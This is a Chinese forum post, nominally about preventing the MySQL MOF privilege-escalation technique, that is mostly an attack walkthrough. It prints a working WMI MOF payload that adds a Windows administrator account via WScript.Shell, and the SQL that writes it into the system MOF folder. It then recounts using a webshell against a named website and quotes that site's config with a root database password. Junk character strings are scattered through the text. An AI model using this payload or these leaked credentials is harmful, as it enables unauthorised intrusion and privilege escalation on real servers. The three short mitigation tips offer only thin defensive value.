Mysql mof扩展漏洞防范方法" m# G: p9 |% M# r" S3 \
; x, u* ^3 D! G, ~( M/ P9 K3 s网上公开的一些利用代码:) z, F4 C$ R0 n# b% R0 D/ S0 n' k2 m
- j4 S4 p6 r4 r% R/ x e
#pragma namespace(“\\\\.\\root\\subscription”)
) B) g+ w( ? Z
/ l7 h8 c$ K- binstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };% }7 ]+ M- j- E
' F3 W+ b- |- J" J& u- V7 w& M
+ h0 B8 K% l/ D" l1 E! B; A
. J# B7 O! o: q1 I
2 q& l4 c6 e6 g( R0 z
$ P0 C9 o% c- y连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
! s3 R! f3 C: x3 o/ a8 M- w( B从上面代码来看得出解决办法:
; ~! V: X8 M3 Z
1 \/ B3 i1 f! x; P1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
# j H [; U0 K( x3 n. l7 S- B6 [' d v! z8 y N. O' m
2、禁止使用”WScript.Shel”组件
# L, ?8 f; @& ?9 M" I+ n/ U: S0 [; @( q+ X4 G, C; B( S3 }
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER4 d/ q! r. g4 j& h: Z/ S
0 P1 S* q& |9 m$ }( o. Q
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下$ {' d" v5 y6 J; N
* I, y$ U& M" s) h' x; v% c# v事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
' j0 u3 N9 y' u# w; c. i5 ~4 w. U7 e- z/ z1 `, h
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
6 S( E% ?+ f1 R9 i2 X$ r U
' d* r9 E, ?3 Q" P/ ?看懂了后就开始练手吧. { X9 ]! @' r
' s( r0 L5 P# \
http://www.webbmw.com/config/config_ucenter.php 一句话 a- `6 {3 d* F( i0 T5 e7 E4 ?0 @
. x7 d3 U$ x* }& A9 ~7 m$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
4 O8 p7 x4 i! o9 _
" n& V9 f1 R+ p% r/ O% j于是直接用菜刀开搞
. F: P; W6 r- j
# s# w* n# L$ D* h2 i9 w _上马先) F- L5 ]" ?( K ^
1 S: c" U) N2 S/ e0 @4 w" k. ?+ g既然有了那些账号 之类的 于是我们就执行吧…….7 E# L8 a6 v5 w4 }0 {, o4 M: Y4 g
( ~: e5 _/ {6 ]9 B0 ^- R; w小小的说下
2 m+ W+ [: Z$ I& j {- y; a6 ~- J6 Z1 Q9 J( {# C
在这里第1次执行未成功 原因未知
$ x$ C- T/ [8 R) M8 s% U
; O M: d( G; M/ c我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。( i9 ` h2 h% o# x0 U) }
: r- r/ d2 m- l9 E" |% ^
#pragma namespace(“\\\\.\\root\\subscription”)
7 U' `! k4 x( L5 h3 A3 _! M, H: m; R: T4 q/ c! {
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
, E7 C! n; P0 G) z4 j: ~ h& T: @! s; [8 ?% P7 Q9 L
我是将文件放到C:\WINDOWS\temp\1.mof
# E$ Z K* x" C* ?- R. e: k& }7 e d, t
所以我们就改下执行的代码
1 g5 @: G# T% {+ T2 K# p) d2 q
5 @1 {5 n& v6 `select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;4 u0 F1 G- r+ \' o$ }
\ K& l z* T0 h. x5 _
$ z. X- \$ O5 n5 P% x7 Q- I5 l, |2 Z: T; R0 V9 q! c
但是 你会发现账号还是没有躺在那里。。! u- B$ ~' H- j r. V7 ]
4 a1 O6 N* c) r8 ?0 x9 O* k0 J9 c于是我就感觉蛋疼
- N s" d; L# R I) j$ A% ]5 L, t" l7 o! u- I- ]: ?# g
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
8 j$ ^ S& [' Q( i( Z& ^1 C- P, N& X0 [. a
& j5 c. u' k9 c& y" j+ T0 t# M6 ~7 h# N! Z3 Z4 o
但是其他库均不成功…: E1 l) w: Z1 D8 F0 h8 t
* M) v3 S! Z- x
我就很费解呀 到底为什么不成功求大牛解答…# X3 @4 {3 `3 J" Y7 _& b, m
3 W) M2 p7 R4 A1 X9 b; {* }% h1 Q
) ? U' ~8 q& a8 z
6 H) v$ G1 ^4 m) r3 | Q$ Z$ d |